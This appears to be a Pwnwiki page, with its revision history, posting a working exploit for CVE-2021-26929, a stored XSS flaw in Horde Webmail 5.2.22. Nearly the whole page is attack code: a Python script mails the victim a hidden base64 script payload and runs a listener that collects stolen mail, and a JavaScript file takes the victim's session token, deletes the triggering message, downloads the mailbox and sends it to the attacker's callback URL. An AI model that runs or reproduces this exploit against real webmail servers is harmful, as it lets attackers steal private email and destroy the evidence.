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 #!/usr/bin/python3 # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging impor..."

2021-04-15T03:22:43Z

Created page with "==EXP== <pre> #!/usr/bin/python3 # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging impor..."

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==EXP==
<pre>
#!/usr/bin/python3
# debug nu11secur1ty 2021
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
def __init__(self, args):
# Database
if not os.path.exists('database.db'):
with sqlite3.connect("database.db") as conn:
cursor = conn.cursor()
cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL
UNIQUE, content BLOB NOT NULL);')
conn.commit()
# SMTP URL
o = urlparse(args.smtp)
self.smtp = {
'ssl': o.scheme.lower() == 'smtps',
'host': o.hostname or '127.0.0.1',
'port': o.port or ('465' if o.scheme.lower() == 'smtps' else
'25'),
'username': '' or o.username,
'password': '' or o.password
}
try:
if self.smtp['ssl']:
context = ssl.create_default_context()
context.verify_mode = ssl.CERT_OPTIONAL
context.check_hostname = False
self.server = smtplib.SMTP_SSL(self.smtp['host'],
self.smtp['port'], context=context)
else:
self.server = smtplib.SMTP(self.smtp['host'],
self.smtp['port'])
except Exception as e:
print(e)
print('[-] Error connecting to SMTP server!')
exit()
try:
self.server.login(self.smtp['username'], self.smtp['password'])
except:
pass
# Callback URL
o = urlparse(args.callback)
self.callback = {
'url': '{}://{}'.format(o.scheme, o.netloc),
'path': ''.join(random.choice(string.ascii_letters) for i in
range(20))
}
# Listener URL
o = urlparse(args.listener)
self.listener = {
'ssl': o.scheme.lower() == 'https',
'host': o.hostname or '0.0.0.0',
'port': o.port or 80,
'horde': ''.join(random.choice(string.ascii_letters) for i in
range(20))
}
# Target email
self.target = args.target
# Subject
self.subject = args.subject or 'Important Message'
# Environment
self.env = {}
self.env['mailbox'] = args.mailbox or 'INBOX'
self.env['callback'] = '{}/{}'.format(self.callback['url'],
self.callback['path'])

def trigger(self):
print('[*] Waiting for emails...')
self.bypass_auth()
print('\n[*] Done')

def bypass_auth(self):
def horde():
f = open('horde.js')
content = 'env = {};\n\n{}'.format(json.dumps(self.env),
f.read())
f.close()
return content

def callback():
response = Response('')
with sqlite3.connect("database.db") as conn:
try:
if request.files.get('mbox'):
filename =
request.files.get('mbox').filename.replace('zip', 'mbox')
content = request.files.get('mbox').stream.read()
zipdata = io.BytesIO()
zipdata.write(content)
content = zipfile.ZipFile(zipdata)
content = content.open(filename).read()
mail_hash = hashlib.sha1(content).digest().hex()
print('[+] Received mailbox
({})'.format(mail_hash))
cursor = conn.cursor()
cursor.execute('INSERT INTO mailbox (hash, content)
VALUES (?, ?)', (mail_hash, content))
except:
pass
response.headers['Access-Control-Allow-Origin'] = '*'
return response

payload = 'var
s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'],
self.listener['horde'])
payload =
'<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject,
self.smtp['username'], self.target)
# The secret services :)
content +=
'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
self.server.sendmail(self.smtp['username'], self.target, content)
app = Flask(__name__)
app.add_url_rule('/{}'.format(self.listener['horde']), 'horde',
horde)
app.add_url_rule('/{}'.format(self.callback['path']), 'callback',
callback, methods=['POST'])
logging.getLogger('werkzeug').setLevel(logging.ERROR)
cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None
try:
if self.listener['ssl']:
app.run(host=self.listener['host'],
port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
else:
app.run(host=self.listener['host'],
port=self.listener['port'])
except:
pass

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--smtp', help='SMTP URL', required=True,
metavar='URL')
parser.add_argument('--callback', help='Callback URL', required=True,
metavar='URL')
parser.add_argument('--listener', help='Listener URL', metavar='URL')
parser.add_argument('--target', help='Target email', required=True,
metavar='EMAIL')
parser.add_argument('--subject', help='Email subject',
metavar='SUBJECT')
parser.add_argument('--mailbox', help='Mailbox from which to steal the
emails', metavar='INBOX')
args = parser.parse_args()
exploit = Exploit(args)
exploit.trigger()
horde.js

class Exploit {
constructor() {
this.basepath = document.location.pathname.substring(0,
document.location.pathname.indexOf('imp'));
}

trigger() {
this.mailbox = this.get_mailbox();
this.buid = this.get_buid();
this.token = this.get_token();
this.auto_delete()
.then(() => {
this.exfiltrate_emails({mailbox: env.mailbox});
});
}

async auto_delete() {
let params = new URLSearchParams()
params.append('token', this.token);
params.append('view', this.mailbox);
params.append('buid', this.buid);
return fetch(this.basepath +
'services/ajax.php/imp/deleteMessages', {
method: 'POST',
body: params
})
.then(() => {
let params = new URLSearchParams();
params.append('token', this.token);
params.append('view', this.mailbox);
return fetch(this.basepath +
'services/ajax.php/imp/purgeDeleted', {
method: 'POST',
body: params
})
.then(() => {
if (document.getElementById('checkmaillink') !== null) {
document.getElementById('checkmaillink').click();
}
});
});
}

async exfiltrate_emails(args) {
let mbox_list = '["' + this.get_mailbox() + '"]';
if (args.mailbox.toUpperCase() != 'INBOX') {
let params = new URLSearchParams();
params.append('reload', '1');
params.append('unsub', '1');
params.append('token', this.token);
let mailboxes = await fetch(this.basepath +
'services/ajax.php/imp/listMailboxes', {
method: 'POST',
body: params
})
.then(response => {
return response.text();
})
.then(data => {
return JSON.parse(data.substring(10, data.length - 2));

});
mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
if (mailbox.l.toUpperCase() == args.mailbox) {
if (mbox_list === undefined) {
mbox_list = '["' + mailbox.m + '"]';
}
}
});
}
let zip = await fetch(this.basepath +
'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list
+ '&type=mboxzip&token=' + this.token + '&fn=/')
.then(response => {
return [response.blob(),
response.headers.get('Content-Disposition')];
});
let filename = zip[1];
filename = filename.substring(filename.indexOf('filename="') + 10,
filename.length - 1);
zip = await zip[0];
let formData = new FormData();
formData.append('mbox', zip, filename);
fetch(window.env.callback, {
method: 'POST',
body: formData
});
}

get_token() {
let link;
let token;
if (document.getElementsByClassName('smartmobile-logout').length >
0) {
link =
document.getElementsByClassName('smartmobile-logout')[0].href;
}
else if (document.getElementById('horde-logout') !== null) {
link =
document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
}
else {
link = location.href;
}
if (link.match('horde_logout_token=(.*)&') !== null) {
token = link.match('horde_logout_token=(.*)&')[1];
}
if (token === undefined && link.match('token=(.*)&') !== null) {
token = link.match('token=(.*)&')[1];
}
return token;
}

get_mailbox() {
if (window.DimpBase !== undefined) {
return
DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
VP_id: {
equal: [ DimpBase.pp.VP_id ]
}
}).get('dataob').first().VP_view;
}
else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
}
else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
return location.href.match('mbox=([A-Za-z0-9]*)')[1];
}
}

get_buid() {
if (location.href.match('buid=([0-9]*)') !== null) {
return location.href.match('buid=([0-9]*)')[1];
}
else if (location.href.match(';([0-9]*)') !== null) {
return location.href.match(';([0-9]*)')[1];
}
}
}

const exploit = new Exploit();
exploit.trigger();
</pre>

CVE-2021-26929 Webmail Edition 5.2.22 XSS&遠程命令執行漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
#!/usr/bin/python3 # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging impor..."